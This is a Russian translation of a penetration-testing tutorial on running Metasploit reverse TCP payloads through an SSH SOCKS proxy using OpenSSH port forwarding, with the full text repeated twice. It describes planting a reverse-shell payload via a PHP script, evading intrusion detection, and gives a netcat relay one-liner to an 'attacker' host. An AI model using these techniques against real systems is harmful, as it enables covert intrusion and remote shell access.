Данный вольный перевод был мотивирован необходимостью в собственном понимании сабжа после прочтения ряда постов, начало которым было положено здесь, спасибо хабраюзеру levinkv
Использование ssh socks прокси совместно с MSF Reverse TCP Payloads
Иногда пентестерам необходимо перенаправлять свой сетевой трафик через различные прокси для получения доступа к частным сетям, для обхода межсетевых экранов, или же для сокрытия своих следов. Для решения таких задач специалисты имеют целый арсенал возможностей разнородного туннелирования и переадресации трафика, чтобы работать в различных сетевых архитектурах при тестировании. Каждый случай подобной работы определенно зависит от служб, запущенных на прокси-сервере и уровню доступа к этим службам.
Один из моих любимых случаев (как и многие другие) это работа с OpenSSH Socks прокси. Удаленный ssh прокси дает возможность различными способами переадресовывать трафик через ssh туннель. Тем не менее существует главный недостаток в случае с socks прокси — вы «не можете» использовать сушествующие reverse tcp payloads, которые поставляются с Metasploit framework (и многими другими подобными инструментами). Однако, это не совсем так. Есть возможность для включения некоторых функций OpenSSH в целях обхода ограничений при использовании ssh перенаправления.
Многие скажут, что существует масса альтернатив для tcp reverse payloads, такие как PHP, Java, HTTP, DNS, и т.д. Это верно, но большинство из них зависят от специфического приложения и не являются стабильными при определенных обстоятельствах. Кроме того, эти альтернативы не всегда применимы из-за некоторых ограничений эксплуатации.
Другие сообщат, что функции Metasploit meterpreter (framework routes + port forward) могут использоваться для перенаправления трафика через обычные прокси, избегая использования соксов. Недостатком этого способа является недостаточная устойчивость meterpreter payload для линукс прокси (по крайней мере на момент написания поста).
Теперь, когда вы убедились, что при некоторых обстоятельствах использование socks прокси является единственным стабильным вариантом, давайте посмотрим, что мы можем изменить в ограничениях обратного TCP соединения.
Когда используется reverse tcp payload, компьютер жертвы пытается подключиться с ip-адресом атакующего. Если используется SSH Socks прокси, то компьютер жертвы использует в качестве ip-адреса атакующего ip-адрес прокси. Следовательно, reverse TCP payload будет пытаться подключиться к прокси, а не к атакующему. Metasploit framework прекрасно позволяет решить такую проблему, когда socks прокси используется с reverse TCP payload.
Основная идея для обхода ограничений подобного рода заключается в использовании механизма переадресации в прокси для доставки пакетов на правильный адрес при обратном подключении с прокси. Представленный метод возможен когда выполняются следующие условия:
1. Возможность ssh подключения к прокси (обычный пользователь или администратор, каждый случай разбирается отдельно)
2. Прокси имеет по крайней мере один неиспользуемый открытый порт
3. Прокси имеет возможность к подключению с компютером жертвы.
Для остальной части этой статьи будет использоваться следующая топология сети:
Сначала установим соединение ssh socks прокси и проверим его через proxychains:
SSH socks прокси работает и мы можем его использовать для доступа к компьютеру жертвы:
Сейчас, если мы попытаемся использовать наш Socks прокси вместе с TCP payload, Metasploit может показать такую ошибку:
Особенности переадресации портов в OpenSSH помогут нам обойти это препятствие. Два варианта действий будут освещены в зависимости от уровня доступа атакующего к сервисам прокси:
1. Административный доступ: Изменения конфигурации OpenSSH и использование всех особенностей переадресации
2. Пользовательский доступ: Использование локальной перадресации портов OpenSSH для организации второго ssh туннеля
Для тех, кто не знаком с локальной и удаленной переадресацией SSH портов рекомендуются к прочтению ссылки в конце поста.
Перед тем, как продолжить, давайте отключим проверку reverse TCP socks прокси в metasploit для тестирования всех перечисленных случаев. К счастью для нас, модульная архитектура metasploit позволяет легко реализовать данную возможность. Надо всего лишь закомментировать строчки 68-70 в «lib/msf/core/handler/reverse_tcp.rb»
1. Административный доступ к Прокси
Удаленная переадресация портов в OpenSSH использует перенаправление сетевого траффика с порта 4444 на прокси к порту 53 атакующего. Как упоминает руководство OpenSSH, подключение при удаленной переадресации свяжет порт прокси (4444 в нашем случае) с таким же портом на локальном хосте. Привязка на локалхосте будет блокировать входящие соединения от жертвы. Так что мы должны обладать правами администратора для изменения конфигурации sshd и включения опции GatewayPorts.
Когда payload сработает, тогда сеть приобретет такой вид:
Для продолжения давайте проверим что все работает с помощью netcat:
Если вместо IP-адреса атакующего вы используете локальный адрес, то такой туннель будет работать как часы (и в этом нет ничего удивительного), хотя менеджер сессии Metasploit будет не в состоянии идентифицировать связи и прервет работу. Некоторые (факультативные) исследования с помощью tcpdump могут прояснить как работают такие перенаправления.
Убедившись, что наш прокси работает правильно, давайте перейдем к Metasploit. Сгенерируем linux x86 reverse TCP stagged shell payload и зальем на компьютер жертвы. Для запуска payload используем PHP скрипт, расположив его в директории с Web-страницами для сервера Apache. В процессе генерации payload использовались следующие данные: LHOST был определен как адрес прокси, как и LPORT (4444 в этом примере), на который идет переадресация к атакующему через прокси.
В конце давайте запустим payload с помощью дополнительного модуля (single GET request) и установим соединение через socks прокси:
2. Пользовательский доступ к Прокси
Пользовательский доступ к прокси означает, что мы не можем выставить опцию GatewayPorts в настройках sshd. Так что мы должны найти другой путь для осуществления переадресации. В этом случае мы используем опцию для локальной переадресации (-L) и сотворим второй туннель на локалхост со стороны прокси. Флаг -g используется для привязки сокета на 0.0.0.0 разрешая входящие соединения кроме локалхост.
Следовательно, обратное соединение приобретет такой вид:
Обычная проверка netcatом перед использованием Metasploit:
И наконец, socks прокси также успешно работает с reverse TCP payloads:
Миссия завершена! Нам удалось использовать reverse TCP payloads c ssh Socks прокси и воспользоваться различными функциями OpenSSH. Конечно, кто-то может осуществлять переадресацию портов на прокси различными другими способами (Iptables, инструменты сторонних производителей, и т.д.). OpenSSH был выбран потому, что в нем уже доступна работа с ssh Socks прокси и часто такая работа незаметна для системного администратора, в то время, как другие инструменты могут сигнализировать о своей работе (и конечно, работа с iptables не возможна при пользовательском уровне доступа).
Было бы идеально, если б описанные выше способы были бы как-нибудь реализованы в Metasploit Framework, делая возможным использование reverse TCP payloads в различных сценариях socks прокси.
Ссылки:
www.linuxhorizon.ro/ssh-tunnel.html
www.opennet.ru/base/sec/ssh_tunnel.txt.html
www.fedora.md/wiki/%D0%92%D1%81%D0%B5_%D1%87%D1%82%D0%BE_%D0%92%D1%8B_%D1%85%D0%BE%D1%82%D0%B5%D0%BB%D0%B8_%D0%B7%D0%BD%D0%B0%D1%82%D1%8C_%D0%BE_SSH
www.metasploit.com
seclists.org/metasploit/2009/q2/143
www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics
www.offensive-security.com/metasploit-unleashed/Pivoting
A. Bechtsoudis
—{ Update 11 June 2012 }—
Переадресацию портов с прокси к атакующему так же легко можно организовать с помощью netcat. Будьте осторожны при использовании netcat, так как его работа может вызывать тревогу в некоторых системах обнаружения вторжений. Для установления скрытого соединения пытайтесь создавать зашифрованные каналы с прокси (ncat, netcat stunnel и т.д.).
root@proxy:~# mkfifo pipe
root@proxy:~# nc -nvlp 4444 0<pipe | nc attacker 53 1>pipe
Оригинал по ссылке.
Использование ssh socks прокси совместно с MSF Reverse TCP Payloads
Иногда пентестерам необходимо перенаправлять свой сетевой трафик через различные прокси для получения доступа к частным сетям, для обхода межсетевых экранов, или же для сокрытия своих следов. Для решения таких задач специалисты имеют целый арсенал возможностей разнородного туннелирования и переадресации трафика, чтобы работать в различных сетевых архитектурах при тестировании. Каждый случай подобной работы определенно зависит от служб, запущенных на прокси-сервере и уровню доступа к этим службам.
Один из моих любимых случаев (как и многие другие) это работа с OpenSSH Socks прокси. Удаленный ssh прокси дает возможность различными способами переадресовывать трафик через ssh туннель. Тем не менее существует главный недостаток в случае с socks прокси — вы «не можете» использовать сушествующие reverse tcp payloads, которые поставляются с Metasploit framework (и многими другими подобными инструментами). Однако, это не совсем так. Есть возможность для включения некоторых функций OpenSSH в целях обхода ограничений при использовании ssh перенаправления.
Многие скажут, что существует масса альтернатив для tcp reverse payloads, такие как PHP, Java, HTTP, DNS, и т.д. Это верно, но большинство из них зависят от специфического приложения и не являются стабильными при определенных обстоятельствах. Кроме того, эти альтернативы не всегда применимы из-за некоторых ограничений эксплуатации.
Другие сообщат, что функции Metasploit meterpreter (framework routes + port forward) могут использоваться для перенаправления трафика через обычные прокси, избегая использования соксов. Недостатком этого способа является недостаточная устойчивость meterpreter payload для линукс прокси (по крайней мере на момент написания поста).
Теперь, когда вы убедились, что при некоторых обстоятельствах использование socks прокси является единственным стабильным вариантом, давайте посмотрим, что мы можем изменить в ограничениях обратного TCP соединения.
Когда используется reverse tcp payload, компьютер жертвы пытается подключиться с ip-адресом атакующего. Если используется SSH Socks прокси, то компьютер жертвы использует в качестве ip-адреса атакующего ip-адрес прокси. Следовательно, reverse TCP payload будет пытаться подключиться к прокси, а не к атакующему. Metasploit framework прекрасно позволяет решить такую проблему, когда socks прокси используется с reverse TCP payload.
Основная идея для обхода ограничений подобного рода заключается в использовании механизма переадресации в прокси для доставки пакетов на правильный адрес при обратном подключении с прокси. Представленный метод возможен когда выполняются следующие условия:
1. Возможность ssh подключения к прокси (обычный пользователь или администратор, каждый случай разбирается отдельно)
2. Прокси имеет по крайней мере один неиспользуемый открытый порт
3. Прокси имеет возможность к подключению с компютером жертвы.
Для остальной части этой статьи будет использоваться следующая топология сети:
Сначала установим соединение ssh socks прокси и проверим его через proxychains:
SSH socks прокси работает и мы можем его использовать для доступа к компьютеру жертвы:
Сейчас, если мы попытаемся использовать наш Socks прокси вместе с TCP payload, Metasploit может показать такую ошибку:
Особенности переадресации портов в OpenSSH помогут нам обойти это препятствие. Два варианта действий будут освещены в зависимости от уровня доступа атакующего к сервисам прокси:
1. Административный доступ: Изменения конфигурации OpenSSH и использование всех особенностей переадресации
2. Пользовательский доступ: Использование локальной перадресации портов OpenSSH для организации второго ssh туннеля
Для тех, кто не знаком с локальной и удаленной переадресацией SSH портов рекомендуются к прочтению ссылки в конце поста.
Перед тем, как продолжить, давайте отключим проверку reverse TCP socks прокси в metasploit для тестирования всех перечисленных случаев. К счастью для нас, модульная архитектура metasploit позволяет легко реализовать данную возможность. Надо всего лишь закомментировать строчки 68-70 в «lib/msf/core/handler/reverse_tcp.rb»
1. Административный доступ к Прокси
Удаленная переадресация портов в OpenSSH использует перенаправление сетевого траффика с порта 4444 на прокси к порту 53 атакующего. Как упоминает руководство OpenSSH, подключение при удаленной переадресации свяжет порт прокси (4444 в нашем случае) с таким же портом на локальном хосте. Привязка на локалхосте будет блокировать входящие соединения от жертвы. Так что мы должны обладать правами администратора для изменения конфигурации sshd и включения опции GatewayPorts.
Когда payload сработает, тогда сеть приобретет такой вид:
Для продолжения давайте проверим что все работает с помощью netcat:
Если вместо IP-адреса атакующего вы используете локальный адрес, то такой туннель будет работать как часы (и в этом нет ничего удивительного), хотя менеджер сессии Metasploit будет не в состоянии идентифицировать связи и прервет работу. Некоторые (факультативные) исследования с помощью tcpdump могут прояснить как работают такие перенаправления.
Убедившись, что наш прокси работает правильно, давайте перейдем к Metasploit. Сгенерируем linux x86 reverse TCP stagged shell payload и зальем на компьютер жертвы. Для запуска payload используем PHP скрипт, расположив его в директории с Web-страницами для сервера Apache. В процессе генерации payload использовались следующие данные: LHOST был определен как адрес прокси, как и LPORT (4444 в этом примере), на который идет переадресация к атакующему через прокси.
В конце давайте запустим payload с помощью дополнительного модуля (single GET request) и установим соединение через socks прокси:
2. Пользовательский доступ к Прокси
Пользовательский доступ к прокси означает, что мы не можем выставить опцию GatewayPorts в настройках sshd. Так что мы должны найти другой путь для осуществления переадресации. В этом случае мы используем опцию для локальной переадресации (-L) и сотворим второй туннель на локалхост со стороны прокси. Флаг -g используется для привязки сокета на 0.0.0.0 разрешая входящие соединения кроме локалхост.
Следовательно, обратное соединение приобретет такой вид:
Обычная проверка netcatом перед использованием Metasploit:
И наконец, socks прокси также успешно работает с reverse TCP payloads:
Миссия завершена! Нам удалось использовать reverse TCP payloads c ssh Socks прокси и воспользоваться различными функциями OpenSSH. Конечно, кто-то может осуществлять переадресацию портов на прокси различными другими способами (Iptables, инструменты сторонних производителей, и т.д.). OpenSSH был выбран потому, что в нем уже доступна работа с ssh Socks прокси и часто такая работа незаметна для системного администратора, в то время, как другие инструменты могут сигнализировать о своей работе (и конечно, работа с iptables не возможна при пользовательском уровне доступа).
Было бы идеально, если б описанные выше способы были бы как-нибудь реализованы в Metasploit Framework, делая возможным использование reverse TCP payloads в различных сценариях socks прокси.
Ссылки:
www.linuxhorizon.ro/ssh-tunnel.html
www.opennet.ru/base/sec/ssh_tunnel.txt.html
www.fedora.md/wiki/%D0%92%D1%81%D0%B5_%D1%87%D1%82%D0%BE_%D0%92%D1%8B_%D1%85%D0%BE%D1%82%D0%B5%D0%BB%D0%B8_%D0%B7%D0%BD%D0%B0%D1%82%D1%8C_%D0%BE_SSH
www.metasploit.com
seclists.org/metasploit/2009/q2/143
www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics
www.offensive-security.com/metasploit-unleashed/Pivoting
A. Bechtsoudis
—{ Update 11 June 2012 }—
Переадресацию портов с прокси к атакующему так же легко можно организовать с помощью netcat. Будьте осторожны при использовании netcat, так как его работа может вызывать тревогу в некоторых системах обнаружения вторжений. Для установления скрытого соединения пытайтесь создавать зашифрованные каналы с прокси (ncat, netcat stunnel и т.д.).
root@proxy:~# mkfifo pipe
root@proxy:~# nc -nvlp 4444 0<pipe | nc attacker 53 1>pipe
Оригинал по ссылке.
